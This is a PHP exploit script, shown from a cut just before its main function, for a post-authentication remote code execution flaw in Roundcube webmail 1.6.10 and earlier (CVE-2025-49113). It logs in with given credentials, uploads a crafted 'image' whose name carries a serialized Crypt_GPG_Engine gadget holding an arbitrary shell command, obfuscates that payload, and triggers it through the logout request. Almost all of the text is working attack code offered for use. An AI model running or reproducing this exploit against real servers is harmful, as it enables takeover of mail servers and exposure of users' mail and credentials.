$argv * @return void */ function main(array $argv): void { message('Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]'); if (count($argv) < 5) { message( sprintf( 'Usage: php %s ', basename(__FILE__) ), 1 ); } [$_, $targetUrl, $username, $password, $command] = $argv; try { validateUrl($targetUrl); // Initial request to get CSRF token and starting session cookies [$csrfToken, $initialCookie] = fetchCsrfTokenAndCookie($targetUrl); // Authenticate using the initial cookie $sessionCookie = authenticate( $targetUrl, $username, $password, $csrfToken, $initialCookie ); message("Command to be executed: \n" . $command); // Prepare and inject payload [$payloadName, $payloadFile] = calcPayload($command); injectPayload($targetUrl, $sessionCookie, $payloadName, $payloadFile); // Trigger and cleanup executePayload($targetUrl, $sessionCookie); message('Exploit executed successfully'); } catch (\Exception $e) { message('Error: ' . $e->getMessage(), 1); } } // ----------------------------------------------------------------------------- // Helper functions // ----------------------------------------------------------------------------- /** * Validates the target URL. * * @param string $url * @throws \Exception */ function validateUrl(string $url): void { if (false === filter_var($url, FILTER_VALIDATE_URL)) { throw new \Exception('Invalid target URL: ' . $url); } } /** * Retrieves CSRF token and session cookie from initial GET. * * @param string $targetUrl * @return array{string, string} [urlencoded csrf token, initial cookie string] * @throws RuntimeException If request fails or token missing */ function fetchCsrfTokenAndCookie(string $targetUrl): array { message('Retrieving CSRF token and session cookie...'); $context = stream_context_create(['http' => ['method' => 'GET']]); $body = @file_get_contents($targetUrl . '/', false, $context); if (false === $body) { throw new \RuntimeException('Failed to fetch initial page for CSRF token'); } $rawHeaders = $http_response_header ?? []; $headersStr = implode("\r\n", $rawHeaders); $token = getToken($body); $cookie = getCookie($headersStr); return [$token, $cookie]; } /** * Authenticates to Roundcube and returns the updated session cookie. * * @param string $targetUrl * @param string $user * @param string $pass * @param string $token * @param string $cookie Existing cookie from initial request * @return string Combined session cookie * @throws RuntimeException on authentication failure */ function authenticate( string $targetUrl, string $user, string $pass, string $token, string $cookie ): string { message("Authenticating user: {$user}"); $postData = http_build_query([ '_token' => $token, '_task' => 'login', '_action' => 'login', '_timezone' => '_default_', '_url' => '_task=login', '_user' => $user, '_pass' => $pass, ]); $headers = [ 'Content-Type: application/x-www-form-urlencoded', "Cookie: {$cookie}", ]; $context = stream_context_create([ 'http' => [ 'method' => 'POST', 'header' => implode("\r\n", $headers), 'content' => $postData, 'follow_location' => 0, ], ]); $body = @file_get_contents($targetUrl . '/?_task=login', false, $context); $respHeaders = implode("\r\n", $http_response_header ?? []); if (false === $body || !preg_match('#HTTP/\d+\.\d+\s+302#', $respHeaders)) { throw new \RuntimeException('Authentication failed: ' . PHP_EOL . ($body ?: 'no response')); } message('Authentication successful'); return getCookie($respHeaders); } /** * Injects the malicious payload via the user settings upload endpoint. * * @param string $targetUrl * @param string $cookie * @param string $payloadName * @param string $payloadFile * @return void * @throws \Exception */ function injectPayload(string $targetUrl, string $cookie, string $payloadName, string $payloadFile): void { message('Injecting payload...'); $boundary = '------a_rule_for_WAF_to_block_fool_exploitation'; $multipart = implode("\r\n", [ '--' . $boundary, 'Content-Disposition: form-data; name="_file[]"; filename="' . $payloadFile . '"', 'Content-Type: image/png', '', base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAgAAAAIAQMAAAD+wSzIAAAABlBMVEX///+/v7+jQ3Y5AAAADklEQVQI12P4AIX8EAgALgAD/aNpbtEAAAAASUVORK5CYII'), '--' . $boundary . '--', ]); $headers = implode("\r\n", [ 'X-Requested-With: XMLHttpRequest', 'Content-Type: multipart/form-data; boundary=' . $boundary, 'Cookie: ' . $cookie, ]); $context = stream_context_create([ 'http' => [ 'method' => 'POST', 'header' => $headers, 'content' => $multipart, ], ]); $url = sprintf( '%s/?_from=edit-%s&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload', $targetUrl, urlencode($payloadName) ); message('End payload: ' . $url); $response = @file_get_contents($url, false, $context); if (false === $response || strpos($response, 'preferences_time') === false) { throw new \Exception('Payload injection failed, got: ' . ($response ?: 'no response')); } message('Payload injected successfully'); } /** * Triggers execution of the injected payload by serializing session data. * * @param string $targetUrl * @param string $cookie * @return void */ function executePayload(string $targetUrl, string $cookie): void { message('Executing payload...'); $token = getToken( file_get_contents( $targetUrl . '/', false, stream_context_create(['http' => ['header' => 'Cookie: ' . $cookie]]) ) ); file_get_contents( sprintf('%s/?_task=logout&_token=%s', $targetUrl, $token), false, stream_context_create(['http' => ['header' => 'Cookie: ' . $cookie]]) ); } /** * Extracts and encodes the CSRF token from response body. * * @param string $body HTTP response body * @return string URL-encoded token * @throws RuntimeException If token is not found */ function getToken(string $body): string { if (preg_match('/(?:"request_token":"|&_token=)([^"&]+)(?:"|\s)/Uuis', $body, $matches)) { return rawurlencode($matches[1]); } throw new \RuntimeException('CSRF token not found in response body'); } /** * Aggregates Set-Cookie headers into a single cookie string. * * @param string $headers Raw HTTP headers * @param string $existing Any existing cookie string to preserve * @return string Concatenated cookies */ function getCookie(string $headers, string $existing = ''): string { $cookies = []; if (preg_match_all('/^Set-Cookie:\s*([^=]+)=([^;]+);/mi', $headers, $matches, PREG_SET_ORDER)) { foreach ($matches as [$full, $key, $value]) { if ($value === '-del-') { continue; } $cookies[] = sprintf('%s=%s', $key, $value); } } return $existing . implode(';', $cookies) . (!empty($cookies) ? ';' : ''); } /** * Magic is happening here */ function calcPayload($cmd){ class Crypt_GPG_Engine{ private $_gpgconf; function __construct($cmd){ $this->_gpgconf = $cmd.';#'; } } $payload = serialize(new Crypt_GPG_Engine($cmd)); $payload = process_serialized($payload) . 'i:0;b:0;'; $append = strlen(12 + strlen($payload)) - 2; $_from = '!";i:0;'.$payload.'}";}}'; $_file = 'x|b:0;preferences_time|b:0;preferences|s:'.(78 + strlen($payload) + $append).':\\"a:3:{i:0;s:'.(56 + $append).':\\".png'; $_from = preg_replace('/(.)/', '$1' . hex2bin('c'.rand(0,9)), $_from); //little obfuscation return [$_from, $_file]; } /** * PHPGGC magic */ function process_serialized($serialized, $full = false){ $new = ''; $last = 0; $current = 0; $pattern = '#\bs:([0-9]+):"#'; while( $current < strlen($serialized) && preg_match( $pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current ) ) { $p_start = $matches[0][1]; $p_start_string = $p_start + strlen($matches[0][0]); $length = $matches[1][0]; $p_end_string = $p_start_string + $length; if(!( strlen($serialized) > $p_end_string + 2 && substr($serialized, $p_end_string, 2) == '";' )) { $current = $p_start_string; continue; } $string = substr($serialized, $p_start_string, $length); $clean_string = ''; for($i=0; $i < strlen($string); $i++) { $letter = $string[$i]; if($full || !ctype_print($letter) || $letter == '\\' || $letter == '|' || $letter == '.' /* rc spec */) $letter = sprintf("\\%02x", ord($letter)); $clean_string .= $letter; } $new .= substr($serialized, $last, $p_start - $last) . 'S:' . $matches[1][0] . ':"' . $clean_string . '";' ; $last = $p_end_string + 2; $current = $last; } $new .= substr($serialized, $last); return $new; } /** * Prints a formatted message and optionally exits. * * @param string $text Message to print * @param int $exitCode Exit code (0 to continue) * @return void */ function message(string $text, int $exitCode = 0): void { echo '### ' . $text . PHP_EOL . PHP_EOL; if ($exitCode !== 0) { exit($exitCode); } } main($argv);